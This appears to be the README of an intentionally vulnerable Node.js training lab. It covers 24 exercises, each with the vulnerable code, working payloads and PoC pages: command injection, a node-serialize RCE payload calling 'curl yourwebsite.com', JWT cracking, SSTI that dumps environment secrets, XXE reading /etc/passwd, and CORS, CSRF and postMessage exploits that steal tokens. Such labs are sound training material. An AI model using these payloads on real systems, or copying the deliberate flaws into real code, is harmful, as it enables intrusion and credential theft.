Vulnerable NodeJS Application

1. Command Injection

Application is using **child_process.exec()** method to run ping on user supplied input your goal is to acheive the RCE.

Exploit

Application is concatinating user supplied input to ping command without any sanitization and executing it using the **exec** method that can lead to RCE if malicious input is provided, following payload will execute the whoami command on the server after running ping.

```
google.com; whoami
```

Vulnerable Code

Route: /routes/app.js

```
router.route('/ping')
    .get(authenticateToken, vuln_controller.ping_get)
    .post(authenticateToken, vuln_controller.ping_post); //  ping_post function in vuln_controller.js file
```

Controller: /controllers/vuln_controller.js

```
const ping_post = (req, res) => {
    const ping = req.body.ping;
    const ping1 = req.body.ping1;
    if (ping) {
        exec('ping -c 3 ' + req.body.ping, function (err, stdout, stderr) {
            output = stdout + stderr;
            res.render('ping', {
                output: output,
                pingoutput: null
            });
        });
    }
```

Fix

Use child_process package method **execFile** that starts a specific program and takes an array of arguments.

2. Insecure Deserialisation

Application is parsing the preference cookie using node-serialize module function **unserialize** that has a known RCE vulnerabilty.

Exploit

Step 1: Create a serialized payload using node-serialize module.

```
// serialize.js
var serialize = require('node-serialize')

// change yourwebsite.com to your host to receive callback
var payload = {payload: function(){require('child_process').exec('curl yourwebsite.com', function(error, stdout, stderr)
{console.log(stdout)})}} callback

console.log(serialize.serialize(payload))
```

Save the above code in a file and run it you will get the serialized payload.

```
> node serialize.js
{"payload":"_$$ND_FUNC$$_function(){require('child_process').exec('curl yourwebsite.com', function(error, stdout, stderr)
{console.log(stdout)})}"}
```

Now we have a serialized payload that can be deserialized using unserialize() function but the code will not execute until we trigger the function corresponding to the `payload` property to do that we can use Immediately invoked function expression for calling the function by adding `()` after the function so our final payload will look like this:

```
{"payload":"_$$ND_FUNC$$_function(){require('child_process').exec('curl yourwebsite.com', function(error, stdout, stderr)
{console.log(stdout)})}()"}
```

Now replace this payload value with preference cookie value in `/save-preference` POST request and you will receive a callbak request on your attacker server.

Reference: https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/

Vulnerable code

Request method, endpoint, injection point

```
Request method: POST
Endpoint: /save-preference
Injection point: preference cookie
```

Route: /app/routes.js

```
router.post('/save-preference', authenticateToken, vuln_controller.save_preference_post)
```

Controller: /controllers/vuln_controller.js

```
const save_preference_post = (req, res) => {
    const preference = serialize.unserialize(req.cookies.preference);
    res.send(preference);
}
```

Fix

Do not use unserialize function on untrusted input.

3. JWT weak secret

Application is using weak secret to create JSON web token that can lead to authentication bypass. Your goal is to access the API Key of user **`vulnlabAdmin`**.

Exploit

1. Get the `authToken` value from the cookie.

2. Save the token to a file.

3. Crack the secret using john.

```
$ john authToken.txt
```

4. Understand the jwt token structure to create the valid token.

```
# base64 decoded jwt token
{"alg":"HS256","typ":"JWT"}{"username":"vulnlabAdmin","iat":1646548200}⊵�ₒS�;►�☎w�����.:.�0������FQ��:�
```

5. It is using `HS256` algorithm to sign the payload and in payload it has username that is used to identify the user

6. Use the secret to create a valid JWT for user **`vulnlabAdmin`** using **`jsonwebtoken`** package.

```
// createJwtToken.js
var jwt = require('jsonwebtoken')
```

```
const payload = {"username": "vulnlabAdmin"}
console.log(jwt.sign(payload, "secret"))
```

```
$ node jwt.js
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InZ1bG5sYWJBZG1pbiIsImlhdCI6MTY0NjU0OTIyMn0.jntBGk0Dw7hiX81yo3-
9afj0djZ3f-o5P0UapJbVCW
```

5. Now that we have a valid JWT for user `vulnlabAdmin` we can use it in `authToken` cookie value to access the API token of `vulnlabAdmin` user and complete the exercise.

Vulnerable Code

```
# /controllers/vuln_controllers.js
function generateAccessToken(username) {
    const payload = { "username": username };
    return jwt.sign(payload, process.env.JWT_SECRET);
}

# /.env
JWT_SECRET=secret
```

Fix

Use strong secret to generate JWT

4. IDOR

Application is loading Notes saved in the user account based on the userid supplied in url path your goal is to access notes saved in `vulnlabAdmin` user account by performing IDOR.

Request method & endpoint

```
Request method: GET
endpoint: /notes/user/:userid
```

Exploit

1. Go to `/notes` and create a note while intercepting request using burpsuite.
2. Forward the note saving request and you will see another request to `/notes/user/:userid` to load your notes send this request to repeater and guess the userid of user `vulnlabAdmin` to access his notes and complete this exercise.

Vulnerable Code

Route: /routes/app.js

```
router.get('/notes/user/:userid', authenticateToken, vuln_controller.userNotes_get);
```

Controller: /controllers/vulln_controller.js

```
const userNotes_get = (req, res) => {
    const userid = req.params.userid;
    Notes.findAll({ where: { userid: userid } })
        .then((queryResult) => {
            res.header("Content-Type", "application/json")
            res.send(JSON.stringify(queryResult));
        })
}
```

Fix

Use id available in `req` object to load user notes instead of using user supplied input.

```
const userNotes_get = (req, res) => {
    const userid = req.user.id; // fixed by using user id from req object returned from authenticateToken middleware
    Notes.findAll({ where: { userid: userid } })
        .then((queryResult) => {
            res.header("Content-Type", "application/json")
            res.send(JSON.stringify(queryResult));
        })
}
```

5. XSS

Three different XSS cases are covered in this exercise depending on the template sanitization and context.

Route: /routes/app.js

```
router.get('/xss', authenticateToken, vuln_controller.xss_lab);
```

Controller: /controllers/vuln_controller.js

```
const xss_lab = (req, res) => {
    const xss1 = req.query.xss1;
    const xss2 = req.query.xss2;
    const xss3 = req.query.xss3;
    res.render('xss', {
        xss1: xss1,
        xss2: xss2,
        xss3: xss3
    });
}
```

Case 1: User supplied input rendered without any sanitization

View: /views/xss.ejs

```
<% if (xss1){%>
<br> <h5> Welcome <%- xss1 %></h5>
<% }%>
<br><br>
```

Application is rendering user supplied input using **ejs** raw output syntax (`<%- xss1 %>`) which does not encode special characters.

Case 2: User supplied input rendered inside script tag

View: /views/xss.ejs

```
<% if (xss2 || xss3){%>
<script>
var number = <%= xss2 %>;
...
</script>
<% }%>
```

In this case application is rendering user supplied input using ejs escape output syntax (<%= xss2 %>) which escapes special characters but the reflection is happening inside the script tag so an attacker can execute the XSS attack without using the special characters.

Case 3: XSS inside JSON object

View: /views/xss.ejs

```
<% if (xss2 || xss3){%>
<script>
...
var b = <%- JSON.stringify({"username": xss3})%>;
</script>
<% }%>
```

Here application is using `<%-JSON.stringify("{username": xss3})%>` to create a json object with user supplied input it uses ejs raw output syntax `<%-` to create a valid json object it does not use `<%=` because it will also encode the double quotes but JSON.stringify will escape double quotes that means we have to find a way to break out of the double quote to do that we will use this payload `</script><script>alert(1)</script>`

6. SSTI

Application is directly concatinating user supplied input into a template rather then passing it as a data this allows attackers to execute arbitrary code on the server. Your goal is to steal the database credentials from environment variables.

Exploit

1. Go to **`/ssti?path=helloworld`**.
2. You will notice that `helloworld` is displayed in the response, now try ssti polygot payload `${{<%25[%25'"}}%25\.` in the path parameter you will get the following message in the first line of error which suggests that template engine uses `<%, %>` for opening and closing tag one such template engine is ejs.

```
Error: Could not find matching close tag for "<%".
```

3. Let's perform simple multiply using following payload.

```
<%25= 7*7%25>
```

4. And we get `49` in the response.
5. Time to get database credentials from database for that we will use the following payload

```
<%25=JSON.stringify(process.env)%25>
```

Vulnerable Code

Request method, endpoint, query parameter

```
Request method: GET
Endpoint: /ssti
query parameter: path
```

Route: /routes/app.js

```
router.get('/ssti', authenticateToken, vuln_controller.ssti);
```

Controller: /controllers/vuln_controller.js

```
function notFoundPage(input) {
    if (input == undefined) input = "";
    var template = `<!DOCTYPE html><html><body>
    <h1>Error: 404</h1>
    <b><p>Not Found: /ssti/`+ input + `</p></b></body></html>`
    var html = ejs.render(template, { name: "Venus" })
    return html;
}

// ssti controller
const ssti = (req, res) => {
    const user_supplied_path = req.query.path;
    const html = notFoundPage(user_supplied_path)
    res.send(html).status(404);
}
```

7. SQL Injection:

Application is concatenating user supplied input to SQL query without any validation.

Exploit

1. Go to `/sqli` and select station from list and click on **check** while intercepting request using burpsuite.
2. Add `'` at the end of URL path you will see the SQL error from here you can proceed to get database details.

Vulnerable Code

Route: /routes/app.js

```
router.get('/sqli/:from-:to', authenticateToken, vuln_controller.sqli_check_train_get);
```

Controller: /controllers/vuln_controller.js

```
const sqli_check_train_get = (req, res) => {
    const from = req.params.from;
    const to = req.params.to;
    const q = "SELECT ntrains FROM trains where from_stnt='" + from + "' and to_stnt='" + to + "';";
    con.connect(function (err) {
        if (err) throw err;
        con.query(q, (err, results) => {
            if (err) {
                res.send(err);
            };
            res.send(JSON.stringify(results));
        });
    });
}
```

8. XXE

Application is using libxmljs to parse xml input but noent flag is set to true which enables external entities parsing. your goal is to read `/etc/passwd` file.

Exploit

- Go to `/xxe` and in the comment section add the following payload to read `/etc/passwd` file.

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE asdf [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]>
<root> <comment>
    <content>%26xxe;</content>
</comment></root>
```

Vulnerable code:

Routes: /routes/app.js

```
router.post('/comment', authenticateToken, vuln_controller.xxe_comment);
```

Controller: /controllers/vuln_handler.js

```
const xxe_comment = (req, res) => {
    const rawcomment = req.body.comment;
    const parsecomment = libxmljs.parseXmlString(rawcomment, { noent: true, noblanks: true });
    var comment = parsecomment.get('//content');
    comment = comment.text();
    res.send(comment);
}
```

9. SSRF via PDF generator

Application is using html-pdf-node package to generate ticket pdf which takes HTML page as an input and generates the PDF but application is not sanitizing user input before generating the HTML page an attacker can use it to perform the SSRF.

Exploit

Inject the following payload in the passenger name field to perform the SSRF, change yourwebsite.com to your web server to receive callback to confirm the SSRF.

```
<iframe src="http://yourwebsite.com/asdf"/>
```

Vulnerable Code

Route: /routes/app.js

```
router.get('/ticket/booking', authenticateToken, vuln_controller.ticket_booking_get);
```

Controller: /controllers/vuln_controller.js

```
const ticket_booking_get = (req, res) => {
    let options = { path: "test.pdf" };
    let file = { url: `http://localhost:${process.env.HOST_PORT}/ticket/generate_ticket?
passenger_name=${req.query.passenger_name}&from_stnt=${req.query.from_stnt}&to_stnt=${req.query.to_stnt}&date=${req.query.date}`
 };

    html_to_pdf.generatePdf(file, options).then(pdfBuffer => {
        res.header('Content-Disposition', 'attachment; filename="ticket.pdf"');
        res.send(pdfBuffer);
    });
}
```

Application is receving ticket details from the user then using it to generate HTML page by using html-pdf-node package function generatePdf that takes url as a input and generates the PDF from the received response.

10. Web Message XSS

User edit page has a `addEventListener()` call that listens for the web message and inserts that message to a `<div>` without verifying the origin from where it received the message.

Exploit

Create a HTML page with following code and host it on your server to perform the XSS

```
<html>
<body>
<iframe src="http://tauheedkhan.com:9000/user-edit" id="victimWebsite" width="100%" height="100%"></iframe>
<script>
  document.addEventListener('readystatechange', () =>{
    victimWebsite.contentWindow.postMessage("<img src=X onerror=alert(\"HACKED\")>", '*')
  })
</script>
</body>
</html>
```

Vulnerable Code

View: /views/user-edit.ejs

```
window.addEventListener("message", function(event){
    document.getElementById("displayMessage").removeAttribute('hidden')
    document.getElementById("displayMessage").innerHTML = event.data;
})
```

11. Web Message CSRF

Organization Management page has a functionality to add user in the org when org owner clicks on the `Add Users` button it opens a new popup window then the org owner selects a user from the list and clicks on the `Add` button this button posts a message using `postMessage()` to the tab which opened it then the opener tab receives the selected username using `addEventListener()` and sends the HTTP request to add that user in the org. Here opener tab does not verifies the origin from which it received the message which means any origin can send a arbitrary username using `postMessage()` and that username will be added to the organisation.

Exploit

1. First create a organization in victim account.
2. Create a hacker account.
3. Save the following code in a HTML file and replace the username with your hacker username and send that to victim user your hacker user will get added to the vicitm organization.

```
<html>
<body>
<iframe src="http://localhost:9000/organization" id="victimWebsite" width="100%" height="100%"></iframe>
<script>
  document.addEventListener('readystatechange', () =>{
    victimWebsite.contentWindow.postMessage("<hacker_username>", '*')
  })
</script>
</body>
</html>
```

Vulnearble Code

View: /views/organization.ejs

```
window.addEventListener('message', function (event) {
  var xhr = new XMLHttpRequest();
  xhr.onreadystatechange = function () {
    if (xhr.readyState == XMLHttpRequest.DONE && xhr.status == 200) {
      document.getElementById("userAddMessage").innerHTML = "User Added";
      loadUsers();
    }
  }
  xhr.open('POST', window.location.origin + '/organization/add-user')
  xhr.withCredentials = true;
  xhr.setRequestHeader('Authorization', '<%=token%>');
  xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
  xhr.send("user=" + event.data);
  })
```

12 Web Message Information Disclosure

In this exercise you will learn how insecure use of `postMessage` can be used to steal the sensitive information, `api-token` has a button show when you click on it, it will open a new popup window which will fetch the user API token and send it to the opener window using postmessage, Since it sends the message to the opener window without specifically specifing the origin, An attacker domain which opens the `/api-token/show` will be able to receive the API token.

Exploit

Save the following HTML code in a HTML file, host it on your server and send the link to victim and you will see a popup showing the victim API token to further exploit you can send the API token to your attacker server.

```
<html>
<body>
<script>
  window.open("http://tauheedkhan.com:9000/api-token/show", "popup");
  window.addEventListener("message", function(event){
    alert(event.data.token);
  })
</script>
</body>
</html>
```

Vulnerable code:

View: /views/webmessage-api-token-popup.ejs

```
<script>
    var token = "<%-apiToken%>";
    window.opener.postMessage({'token': token}, '*')
    window.close()
</script>
```

13 CORS Information Disclosure

`cors-api-token` endpoint is vulnerable to Cross Origin Resource Sharing your goal is to exploit it to steal victim user API Token.

Exploit:

1. Save the following HTML code in a HTML file.

```
<html>
<body>
<center>CORS Exploiting POC</center>
<script>
document.addEventListener('readystatechange', ()=>{
  fetch('http://tauheedkhan.com:9000/cors-api-token', {credentials: 'include'})
    .then((response)=>{
      return response.text()
    })
    .then((html)=>{
      var parser = new DOMParser();
      var doc = parser.parseFromString(html, "text/html")
      var apiToken = doc.getElementById("apiToken").value;
      alert(apiToken);
    })
    .catch((err)=>{
      console.log(`Error: ${err}`)
    })
  })
</script>
</body>
</html>
```

2. Open the link in your victim browser and you will see a popup with user API token you can also transfer this API token to your attacker server.

Vulnerable Code

Request endpoint & method

```
Endpoint: /cors-api-token
Method: GET
```

Route: /routes/app.js

```
router.get('/cors-api-token', authenticateToken, vuln_controller.cors_api_token_get);
```

Controller: /controllers/vuln_controller.js

```
const cors_api_token_get = (req, res) => {
    const apiToken = req.user.apiToken;
    if (req.get('origin') !== undefined) {
        res.header("Access-Control-Allow-Origin", req.get('origin'));
        res.header("Access-Control-Allow-Credentials", 'true');
    }
    res.render('cors-api-token', { apiToken })
}
```

14 CORS CSRF

`cors-csrf-edit-password` endpoint is used for updating password this endpoint only accepts content type `json` and it is not possible to send this content type without application allowing cross origin connection so we test for it and find out that endpoint is vulnerable to Cross Origin Resource Sharing we can exploit it to perform CSRF and change victim password.

Exploit:

1. Host the following code in a HTML file on your attacker server.

```
<html>
<body>
<center>CORS CSRF POC</center>
<script>
const data = {"password": "hacked", "password_confirm":"hacked"}

document.addEventListener('readystatechange', ()=>{
  fetch(
        'http://tauheedkhan.com:9000/cors-csrf-edit-password', {
        method: 'POST',
        credentials: 'include',
        headers: {'Content-Type': 'application/json'},
        body: JSON.stringify(data)
  })
    .then(resp => resp.text())
      .then(respText => {
        alert(respText);
      })
})
</script>
</body>
</html>
```

1. Open the HTML file in victim browser and you will see a popup "Password update Successfull!".

Vulnerable Code

Request endpoint, method, content-type

```
Endpoint: /cors-csrf-edit-password
Method: POST
Content-Type: application/json
```

Route: /routes/app.js

```
router.route('/cors-csrf-edit-password')
    .get(authenticateToken, vuln_controller.cors_csrf_edit_password_get)
    .post(authenticateToken, vuln_controller.cors_csrf_edit_password_post)
    .options(vuln_controller.cors_csrf_edit_password_option);
```

Controller: /controllers/vuln_controller.js

```
// handle Preflight (OPTIONS) request
const cors_csrf_edit_password_option = (req, res) => {
    if (req.get('origin') !== undefined) {
        res.header("Access-Control-Allow-Origin", req.get('origin'));
        res.header("Access-Control-Allow-Credentials", 'true');
        res.header("Access-Control-Allow-Methods", 'GET, POST');
        res.header("Access-Control-Allow-Headers", 'Content-Type');
        res.header("Access-Control-Max-Age", '5');
    }
    res.send(200);
}
```

```
// handle edit password request
const cors_csrf_edit_password_post = (req, res) => {
    if (req.get('origin') !== undefined) {
        res.header("Access-Control-Allow-Origin", req.get('origin'));
        res.header("Access-Control-Allow-Credentials", 'true');
    }
    if (!req.is('application/json')) return res.status(400).send('Invalid content type')
    if (req.body.password == '' || req.body.password == undefined || req.body.password == null) return res.sendStatus('400');
    Users.update({ password: md5(req.body.password) }, { where: { username: req.user.username } })
        .then((queryResults) => {
            res.send("Password update Successfull!");
        })
        .catch((err) => {
            res.send('Unexpected error occured');
        })
}
```

15 Insecure 2FA implementation.

Application has implemented 2FA insecurely it presents 2FA page after login if user have enabled it but an attacker can bypass it by force browsing.

Exploit:

1. Setup 2FA on your victim account logout from the account.
2. As an attacker login to victim account you will see the 2FA page but you can easily bypass it by using forced browsing technique.

16. Cross-Site WebSocket Hijacking

Application is using old version of socket.io which by default enables CORS your goal is to exploit it to access wallet information of victim user.

Exploit

1. Save the following code in a HTML file on your server.

```
<html>
<head>
<!-- websocket client library v2.3.0 -->
<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2.3.0/dist/socket.io.min.js"></script>
</head>
<body>
<center>Cross Site WebSocket Hijacking</center>
<script>
window.onload = function(){
  var socket = io.connect('http://tauheedkhan.com:9000/'); // connect to websocket host
  socket.emit('crypto_usd_value'); // send websocket message to receive user wallet information
  socket.on('crypto_usd_value', data =>{
    alert(JSON.stringify(data)) // alert user wallet information
  })
}
</script>
</body>
</html>
```

2. Open the html file on your victim browser and you will see an alert showing the wallet information of the victim user.

Vulnerable Code

Use the latest version of socket.io package to fix the issue as the version used in the application by default enables the CORS.

/package.json

```
    "socket.io": "2.3.0",
```

17 WebSocket XSS

Application is using socket.io for real time chat but has only implemented client side input sanitization which can be bypassed by intercepting the request before it goes to the server.

Exploit

1. Create two account victim & hacker.
2. In first browser login as victim.
3. In second browser login as hacker go to `/websocket-xss` send a message while intercepting it using burpsuite edit message value to perform XSS.

Vulnerable code

controller: /server.js

```
  socket.on('new_message', (data) => {
    io.sockets.emit('new_message', { message: data.message, username: socket.user.username, login_user: socket.user.username
})
  })
```

View: /views/websocket-xss.ejs

```
  socket.on('new_message', (data) => {
    const current_messages = message_box.innerHTML
    if (data.username === current_user) {
      message_box.innerHTML = current_messages + `<b><p style="color:rgb(114, 114, 114); display: inline-block;"> You:</p></b>
${data.message}</pre><br>`
    } else {
      message_box.innerHTML = current_messages + `<b><p style="color:rgb(250, 127, 168); display: inline-block;">
${data.username}:</p></b> ${data.message}</pre><br>`;
    }
  })
```

18 ReactJS XSS

Application is using ReactJS which provides by default protection from XSS attacks by encoding dangerous characters before appending it to the page but there are cases when it will not protect from XSS attacks, for example: when application passes user supplied input to href attribute.

Exploit

application is taking user supplied website url and passing it to anchor tag href attribute.

1. Go to `/react-href-xss` and inject following payload in the website input field and once a user clicks on the url they will see a popup.

```
javascript:alert(1)
```

2. But currently this is a self XSS to attack other users we have to find a way to update other users profile which can be acheived by performing CSRF as the server also accepts `application/x-www-form-urlencoding` content-type.

Vulnerable Code

Request method, endpoint, parameter

```
Method: POST
Endpoint: /react-xss
Parameter: website
```

Route: /routes/app.js

```
router.route('/react*')
    .get(authenticateToken, vuln_controller.react_xss_get)
    .post(vuln_controller.react_xss_post);
```

Controller: /controllers/vuln_controller.js

```
const react_xss_post = (req, res) => {
    console.log(req);
    res.header("Access-Control-Allow-Origin", req.get('origin'));
    res.header("Access-Control-Allow-Credentials", 'true');
    res.send({ name: req.body.name, email: req.body.email, website: req.body.website });
}
```

View: /vuln_react_app/src/MyComponents/React_href_xss.js

```
   <div id="updated" hidden>
     <p className="card-text">
       Name:  {this.state.name} <br />
       Email:  {this.state.email} <br />
       Website: <a href={this.state.website}>{this.state.website}</a> <br /><br />
       <button onClick={this.updateForm}>Edit</button>
     </p>
   </div>
```

19. React ref-innerHTML XSS

ReactJS provides escape hatch to provide direct access to DOM elements. With direct access application can perform the desired operation, without requiring explicit support from React. There are two escape hatches provided by ReactJS which give access to native DOM elements: findDOMNode and createRef. In this exercise application is using refs with innerHTML property to display user supplied input which makes it vulnerable to XSS.

Exploit

1. Inject the following payload in name, email & website field to confirm the XSS.

```
<img src=X onerror=alert(1)>
```

2. Use the CSRF to steal other users cookie.

Vulnerable code

Request method, endpoint & parameter

```
Method: POST
Endpoint: /react-xss
Parameter: name, email & website
```

Route: /routes/app.js

```
router.route('/react*')
    .get(authenticateToken, vuln_controller.react_xss_get)
    .post(vuln_controller.react_xss_post);
```

Controller: /controllers/vuln_controller.js

```
const react_xss_post = (req, res) => {
    console.log(req);
    res.header("Access-Control-Allow-Origin", req.get('origin'));
    res.header("Access-Control-Allow-Credentials", 'true');
    res.send({ name: req.body.name, email: req.body.email, website: req.body.website });
}
```

20. NoSQL Injection

Application is using mongodb to handle user notes your goal is to read a note with the title SuperSecretNote by performing NoSQL injection.

Exploit

1. Go to `/mongodb-notes` save a note while intercepting request using burpsuite forward this request then you will see one more request to `/mongodb-notes/show-notes`.

2. Now perform the NoSQLi to see all notes saved in the database by using following payload.

```
{"username":{"$ne":""}}
```

Vulnerable code

Request method, endpoint, parameter

```
Method: POST
Endpoint: /mongodb-notes/show-notes
Parameter: username
```

Route: /routes/app.js

```
router.route('/mongodb-notes/show-notes')
    .post(authenticateToken, vuln_controller.mongodb_show_notes_post);
```

Controller: /controllers/vuln_controller.js

```
const mongodb_show_notes_post = (req, res) => {
    MongoClient.connect(dbURL, mongodb_config, (err, client) => {
        if (err) return res.status('500').send('MongoDB is not installed, Please follow the installation guideline.');
        const db = client.db('vuln_nodejs_app')
        db.collection('mongodb-notes').find({ username: req.body.username }).toArray()
            .then((notes) => {
                res.send(notes)
            }).catch((err) =>{
                res.status(500).send('Internal error!');
            })
    })
}
```

21. GraphQL Information Disclosure

Application is using GraphQL your goal is to disclose the information of other registered users.

Exploit

If an application is using graphql and introspection query is not disabled we can find out all the query and see if any query is available that can leak sensitive information.

1. Go to graphql endpoint `graphql`
2. Refresh the page while intercepting request using burpsuite transfer the request to repeater change the request method to POST and content-type to `application/json` and use the following introspection query in the body.

```
{"query": "query IntrospectionQuery {__schema {queryType { name }         mutationType { name } subscriptionType { name }
types {...FullType}directives {name description locations args { ...InputValue } } } } fragment FullType on __Type { kind
name description fields(includeDeprecated: true) { name         description args { ...InputValue } type { ...TypeRef }
isDeprecated         deprecationReason } inputFields { ...InputValue } interfaces { ...TypeRef }
enumValues(includeDeprecated: true) { name description isDeprecated deprecationReason } possibleTypes { ...TypeRef } }
fragment InputValue on __InputValue { name description type { ...TypeRef } defaultValue } fragment TypeRef on __Type { kind
name ofType { kind name ofType { kind name           ofType { kind name ofType { kind name ofType { kind name ofType { kind
name ofType { kind name } } } } } } } }"}
```

1. Copy the respose and go to `https://apis.guru/graphql-voyager/` website click on change schema button switch to introspection tab and paste the introspection query response click on display and you will have a complete query map.

2. In Query type you will see a `listUsers` query that returns a list of users, we will use this query to list all the users registered in the application.

3. Go back to burp repeater tab and replace the introspection query with the following query, click on go and you will get username & email of all registered users.

```
{"query": "query {listUsers{username email}}"}
```

Vulnerable Code

Route: /routes/app.js

1. Introspection query is not disabled that leaked the hidden endpoint.

```
router.use('/graphql', authenticateToken, graphqlHTTP({
    schema: schema,
    rootValue: vuln_controller.graphqlroot
}))
```

2. Lack authorization check on sensitive endpoint.

```
const graphqlroot = {
    user: graphql_GetUser,
    listUsers: graphql_AllUsers, //listUsers query handler
    updateProfile: graphql_UpdateProfile,
    showProfile: graphql_ShowProfile
}
```

```
async function graphql_AllUsers(){
    const q = "SELECT username, email from users;"
    await con.connect()
    const userdata = await con.promise().query(q)
    console.log(userdata[0][0])
    return userdata[0]
}
```

22. GraphQL SQLi

Application is trusting data supplied from the client and using it to in a sql query without proper sanitization to display user profile your goal is to perform SQL injection.

Exploit

1. Go to `/graphql-user-profile`
2. Referesh the page while intercepting using burpsuite, you will see a graphql request to `user` transfer it to repeater.
3. Use the following payload in the username variable value to confirm SQLi.

```
'OR sleep(10)#
```

complete query

```
{"query":"query user($username: String!){ user(username: $username){ username email }}","variables":{"username":"adamjones'OR sleep(10)#"}}
```

Vulnerable code:

Route: /routes/app.js

```
router.use('/graphql', authenticateToken, graphqlHTTP({
    schema: schema,
    rootValue: vuln_controller.graphqlroot
}))
```

graphqlroot

```
const graphqlroot = {
    user: graphql_GetUser,   // user query handler
    listUsers: graphql_AllUsers,
    updateProfile: graphql_UpdateProfile,
    showProfile: graphql_ShowProfile
}
```

graphql_GetUser

```
async function graphql_GetUser(arg){
    const username = arg.username
    const q = "SELECT * FROM users where username='" + username + "';";
    await con.connect()
    const userdata = await con.promise().query(q)
    return userdata[0][0]
}
```

23. GraphQL CSRF

Application is using graphql to update user information, your goal is to change information of other users by performing CSRF attack.

Exploit

`express-graphql` interpret request body depending upon the *Content-Type* header, that means we can perform the CSRF attack using `application/x-www-form-urlencoded` content-type or we can also perform CSRF by supplying query in GET parameter instead of using POST request.

CSRF via POST request using `appilication/x-www-form-urlencoded` content-type

1. Go to `graphql-update-profile` .
2. Change password while intercepting request using burpsuite you will see graphQL password update request body.

```
{"query":"mutation { updateProfile(username: \"hacker\", email: \"hacker@gmail.com\", password: \"hacked\")}","variables":null}
```

3. Change the content-type of request to `application/x-www-form-urlencoded` and also the request body with following.

```
query=mutation { updateProfile(username: "hacker", email: "hacker@gmail.com", password: "hacked")}&variables=null
```

4. Send the request and you will see `Update Successfull!` which shows that application also accepts `application/x-www-form-urlencoded` data now you can create a CSRF exploit page and send it to victim to change their email & password.

Vulnearble code

Route: /routes/app.js

```
router.use('/graphql', authenticateToken, graphqlHTTP({
    schema: schema,
    rootValue: vuln_controller.graphqlroot
}))
```

graphqlroot

```
const graphqlroot = {
    user: graphql_GetUser,
    listUsers: graphql_AllUsers,
    updateProfile: graphql_UpdateProfile, // updateProfile handler
    showProfile: graphql_ShowProfile
}
```

graphql_UpdateProfile

```
async function graphql_UpdateProfile(args, req){
    const updateQuery = `UPDATE users SET email='${args.email}', password='${md5(args.password)}' WHERE username = 
'${req.user.username}';`
    await con.connect()
    const updateResult = await con.promise().query(updateQuery)
    const updateStatus = JSON.stringify(updateResult[0].affectedRows) // returns update status
    return "Update Successfull!"
}
```

24. GraphQL IDOR

Application is trusting data supplied from the API client and using it to show the user details without performing the authorization check, your goal is to access details of other users by perfrom IDOR.

Exploit

1. Go to `/graphql-idor-show-profile` .
2. Referesh the page while intercepting request using burpsuite, you will see a graphql request to show user profile send that request to repeater and change the value of variable userid to `1` and you will be able to see the details of admin user `vulnlabAdmin` .

Vulnerable code

Route: /routes/app.js

```
router.use('/graphql', authenticateToken, graphqlHTTP({
    schema: schema,
    rootValue: vuln_controller.graphqlroot
}))
```

graphqlroot

```
const graphqlroot = {
    user: graphql_GetUser,
    listUsers: graphql_AllUsers,
    updateProfile: graphql_UpdateProfile,
    showProfile: graphql_ShowProfile // showProfile handler
}
```

graphql_ShowProfile

```
async function graphql_ShowProfile(args){
    const userid = args.userid
    const q = "SELECT * FROM users where id='" + userid + "';";
    await con.connect()
    const userdata = await con.promise().query(q)
    return userdata[0][0]
}
```